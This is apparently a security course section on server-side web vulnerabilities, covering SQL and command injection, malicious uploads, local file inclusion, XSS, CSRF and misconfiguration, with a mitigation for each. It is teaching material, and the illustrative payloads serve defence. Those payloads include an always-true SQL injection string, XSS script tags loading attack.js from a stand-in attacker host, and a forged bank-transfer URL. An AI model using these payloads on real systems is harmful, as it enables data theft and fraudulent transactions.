Server-side vulnerabilities

This subsection discusses the security of web and mobile applications from the perspective of the server.

Injection vulnerabilities

If an application insufficiently validates user input, an attacker gains an opportunity to inject code into the application’s control flow. Common injection vulnerabilities in web and mobile applications include SQL and shell injections. In such attacks, the attacker can manipulate database commands or commands sent to the operating system’s command interpreter (shell). The primary goals of injection attacks are to bypass authentication and reveal sensitive information, e.g. login data, personal identification information, or corporate intellectual property.

Injection vulnerabilities can be mitigated by

  • sanitizing inputs, i.e. filtering out invalid or dangerous content, and
  • enforcing appropriate access-control policies to prevent injected code from reaching or manipulating data.
SQL injection (advanced)

SQL injection attacks refer to code injections into database queries written in the Structured Query Language (SQL) used in relational databases. Many web and mobile applications allow users to submit input through forms or URL parameters. SQL injection occurs when such user input is not filtered for special characters before being used to build SQL statements. If attackers can modify SQL commands, this may lead to unauthorized database access or manipulation of stored data.

Example. The line

query = "SELECT * FROM creditcards WHERE number = ’customerID’; "

is intended to form a query that retrieves credit card data for a specific user. An expected input for the variable customerID would be 56789. If customerID is inserted directly without validation, the attacker might supply the input 12345' OR '1'='1. The database then receives the command:

SELECT * FROM creditcards WHERE number = '12345' OR '1'='1';

Instead of retrieving card data for just one customer number, the system retrieves all records in the table creditcards. This works even if no customer 12345 exists, because the latter part of the WHERE clause is always true. An application with such an SQL injection vulnerability could leak all credit card information.

Simply verifying that customerID was numeric would already have prevented this particular SQL injection. If the injection succeeds, whether the attacker sees the results depends on what the application does next. The worst case occurs if the application displays all retrieved credit card data on the results page. However, the effect of SQL injection may remain hidden from the attacker:

Blind SQL injection does not show results directly. The effect—or at least the success—of the attack may be inferred from the application’s responses or the outcomes of later queries.

Second-order SQL injection occurs when the user’s input does not immediately produce harmful behavior but is stored in the database for later use. Other parts of the application then trust the stored input without proper validation or filtering.

One approach to reducing SQL injection risk is using prepared statements: User input or other variables are not embedded directly into raw SQL strings; instead, placeholders marked by question marks are used. The variable names and their types are bound afterward. This does not prevent attackers from entering SQL-looking text, but such text is treated as data, not code. SQL injection attempts then typically lead to invalid parameter values rather than functioning injections. For example:

query = Prepare_SQL ( "SELECT * FROM creditcards WHERE number = '?'; "")

Bind_prepared_SQL ( query, STRING,  customerID )

In this case, the entire string in customerID is used for comparison in the SQL query.

Many web application frameworks support prepared statements at the coding level, e.g. via ORM interfaces (Object Relational Mapping). ORMs generate database queries from code, so developers do not have to write SQL manually.

Another mitigation technique is transforming characters in user input that could form SQL syntax. This escaping approach is error‑prone (cf. HTML escaping). Many applications using SQL escaping remain vulnerable due to incomplete lists of characters needing escaping. Developers should rely on framework-provided escaping functions (e.g. PHP’s mysqli_real_escape_string()) rather than implementing their own.

Command injection (advanced)

Command injection affects applications that execute system commands on the host operating system. For example, an application may convert user-uploaded images by calling a command-line tool, passing filenames and settings supplied by the user. If input is not sanitized, it may contain code that gets executed on the command line, typically with the application’s privileges. An attacker can thereby extend the original command or execute additional ones.

Command injection can be mitigated by constructing commands in ways that give attackers no opportunity to exploit malicious input (cf. prepared SQL statements). In addition to input validation, the principle of least privilege and restrictions on system commands and application permissions are recommended. The set of allowed system commands should be small, using literal strings rather than raw user input. Additional security measures include regular code audits and tracking vulnerability databases (e.g. CVE). When possible, system command execution should be avoided entirely in favor of API calls.

User-uploaded files (advanced)

All files uploaded by users (e.g. images, PDFs) must be handled with care. Malicious files may execute unwanted commands on the server’s operating system, overload the system, trigger client-side attacks, or corrupt vulnerable applications.

For example, a social media application allowing users to upload avatar images is vulnerable if user-provided files are not validated. A malicious user might upload a file named avatar1.php instead of an image. Processing such a file may lead the server to treat it as an executable PHP file. This type of vulnerability could allow attackers to execute code on the server with PHP process privileges and manipulate content delivered to other users.

To prevent such attacks, uploaded files and their metadata (e.g. names and types) must be restricted and filtered, including malware scanning. Filenames and paths should be constructed using literals rather than raw substrings from user input. Proper MIME types must be used for HTTP responses. Files intended only for download, not browser display, may be marked using the Content-Disposition header. Another solution is to serve user-uploaded files from a separate domain. If that domain is not a subdomain of the original, SOP prevents malicious files from accessing cookies and other critical data. JavaScript and HTML files are also protected by SOP.

Local file inclusion (advanced)

Through command injection, manipulated filenames, or incorrect paths stored in files or databases, attackers may cause a vulnerable application to reference the wrong file on the server. Instead of the intended file, the application reads and returns the attacker-chosen file, such as user login data stored in .htaccess or /etc/shadow.

In addition to sanitizing path parameters such as / and .., the principle of least privilege is recommended. The web application should have minimal rights and must not have access to sensitive files.

Cross-Site Scripting (XSS) (advanced)

Code injection can also occur from one user to another—that is, from an external execution context into the internal one where the other user’s application runs. This is known as cross-site scripting. Such an attack occurs if a user can insert code (e.g. JavaScript) among normal content on a website or in a link pointing to it, and the site distributes that content unchanged to other users. For example, message forums that receive content from users and display it to others are vulnerable. The root cause is web applications that do not adequately validate input. If JavaScript provided by one user is delivered to others, it may manipulate what they see or steal sensitive data. The browser cannot detect the malicious code, because the origin is the legitimate host—same‑origin protections fail. There are two main types of XSS:

Stored (persistent) XSS, already introduced above, stores the malicious script permanently on the server (e.g. in a database). It reaches victims whenever they request a page containing the script. It may also appear in a form such as: <script src='\http://attacker.com/attack.js'></script>. Same origin policy does not help; the victim’s browser executes that script because its context is the forum.

Reflected XSS does not store the script on the server; instead, the server reflects it back to victims. Reflection occurs through links or forms. The URL may contain the script, and clicking the link executes it in the target site’s context. For example: \https://vulnerableforum.com/search?q=<script src='\http://attacker.com/attack.js'></script>. Reflected XSS is also called non‑permanent XSS.

Preventing both types requires strict validation of user input. The most effective method is a whitelist approach, allowing only explicitly permitted inputs. For safe entity encoding, a security encoding library is recommended because writing encoders is difficult and auditing them is costly.

Completely eliminating XSS via perfect sanitization may be very difficult. One promising proposal (2014) suggested randomized prefixing of all HTML tags and attributes when sent by the server. After removing the prefixes (as instructed by the server) and discarding everything that lacked them, the browser would have been left with legitimate content, including trustworthy scripts. Such approaches were not adopted because they would have required changes in browser implementation. A more important reason is that they do not help against DOM based XSS, which is still another type of XSS. In such attacks, the malicious script is not in the server’s HTTP response at all. Instead, the script is in the link the user clicks. The browser’s local processing of the URL’s harmful part changes the interpretation context, so the browser misinterprets the otherwise correct and trustworthy scripts arriving in the HTTP response (i.e., the DOM behaves abnormally). If you want to know more, see the example on the OWASP page, where the malice is placed in a URL query parameter. Things get even “wilder” when the XSS is placed in the URL’s fragment part (after the #), which is not even sent to the server. If you need to protect against XSS in practice, then in addition to doing your input validation properly, also study output encoding and other methods, e.g., from another OWASP page.

Cross-Site Request Forgery (CSRF) (advanced)

When a user sends an HTTP request to a server, additional actions may occur besides loading a page, depending on the URL (including GET parameters), headers, POST parameters, and more. If the server performs these actions even when the request originates from elsewhere than the legitimate page, an attacker may construct such an external location and perform a Cross-Site Request Forgery. CSRF attacks are dangerous because most requests include authorization and identity data (passwords, tokens, cookies). Authenticated users are particularly attractive targets, since the server may be unable to distinguish legitimate from malicious requests so long as they come from the victim’s browser. CSRF does not give attackers direct access to server replies. The primary goal is to trick victims into sending state-changing requests, such as updating user data, changing passwords, or initiating purchases.

Example: Online banking

Liisa wants to transfer 50 euros to Pekka using an online banking site with a CSRF vulnerability. A legitimate request for authenticated user Liisa might be: GET https://myonlinebank.net/transaction?to=pekka&value=50. First, the attacker creates a malicious URL such as https://myonlinebank.net/transaction?to=attacker&value=50, replacing Pekka’s account with their own. Next, the attacker must trick Liisa into sending the malicious request. For example, they could send spam with the link embedded. If Liisa clicks the link while logged in, the attack succeeds and the money transfers.

Misunderstanding CSRF leads to ineffective countermeasures. Secret cookies do not prevent CSRF because cookies are always sent by the browser. Similarly, HTTPS does not prevent CSRF because the request still originates from the victim’s browser protected by the same HTTPS. Using POST (instead of GET as in the example) is insufficient because attackers can create hidden fields in the <form> element. For effective CSRF mitigation it is recommended to embed randomized tokens in sensitive requests, e.g. in request headers. The tokens must be session‑specific and generated with secure randomness to prevent guessing. Servers must reject authenticated requests lacking valid tokens. CSRF is one reason why users should log out of online banking and other critical services after use (though banks also implement additional protections).

Incorrect server configuration and vulnerable components (advanced)

A web application stack consists of multiple components: web servers, application frameworks, database servers, firewalls, load balancers, and proxies. Security depends on each component. A single unprotected component may allow attackers to enter and continue attacks from within. Therefore, deploying and maintaining a secure web application requires more than securing the application code alone. Every component of the stack must be configured securely and kept up to date.

The Heartbleed vulnerability. Heartbleed is a famous example of a critical vulnerability affecting many web stacks in 2014. It was a flaw in the widely used OpenSSL library, causing web servers to leak memory-stored data. This included TLS certificate information such as private keys, connection encryption details, and any information exchanged between user and server, such as passwords, usernames, and credit card data. To fix affected systems, administrators had to upgrade OpenSSL, revoke certificates, and encourage users to change their passwords.

Misconfigured HTTPS. Proper and secure HTTPS configuration is essential for web and mobile security. Studies have found that many popular websites use incorrect certificates with incomplete chains, wrong hostnames, or expired validity. Administrators often misunderstand HTTPS security properties or lack confidence in the public PKI. Many also struggle to configure HTTPS correctly.

The principle of least privilege can significantly reduce the attack surface, illustrated by correct firewall and load balancer configurations.

Firewall
To protect a web server, the firewall should restrict incoming traffic so that only the required services are reachable from outside. For HTTP requests from the Internet, access should be limited to ports 80 and 443. Configuration ports for SSH and similar services must be restricted to the internal network.
Load balancers

A load balancer is widely used in web applications. Its basic function is directing requests and responses to different web servers or ports and balancing load among multiple servers. A load balancer maintains information about which server holds a client’s authenticated session. It may also provide access control, such as application‑level firewall features or client TLS certificate verification.

Load balancers can also act as rate limiters. They can restrict the number or size of requests, allowed HTTP methods and paths, or define timeouts. The purpose of rate limiting is to reduce the impact of denial‑of‑service attacks, prevent users from sending spam into systems, and limit unexpected behavior.

Load balancers may also provide secure TLS connections for applications. They may terminate TLS traffic themselves and forward the request to the application server either via TLS or plain HTTP. If the application server is not in the same isolated environment, using plain HTTP may leak information into the internal network. However, if the application server lacks TLS support, using the load balancer as the TLS endpoint improves security.

Databases

Many web applications use databases for persistent storage of user data. Often the database is a separate service on another server accessed through libraries and interfaces. Injection vulnerabilities must be prevented at the application server level. Additionally, bugs in database libraries or excessive privileges required by an application can lead to vulnerabilities.

To reduce the attack surface, most database systems offer user management and restrict permissions to create, read, delete, or modify data in tables and between databases. This allows using a separate database per application and creating special-purpose users with limited rights, such as read‑only access.

An important database security consideration is deciding how to store data. Encrypting data before storing it can help. When only equality checks are needed—as with passwords—hashing is better than encryption. If a data leak occurs, sensitive information cannot be read. Developers are advised to use secure password hashing functions (e.g. Argon2 or PBKDF2) with a random salt for each password.

Password leaks. Developers often make the mistake of storing plaintext passwords, credit card numbers, or other sensitive data instead of encrypting or hashing them. Thus, many database leaks put users at risk. Modern browsers and password managers help users avoid passwords that have appeared in previous breaches.

Posting submission...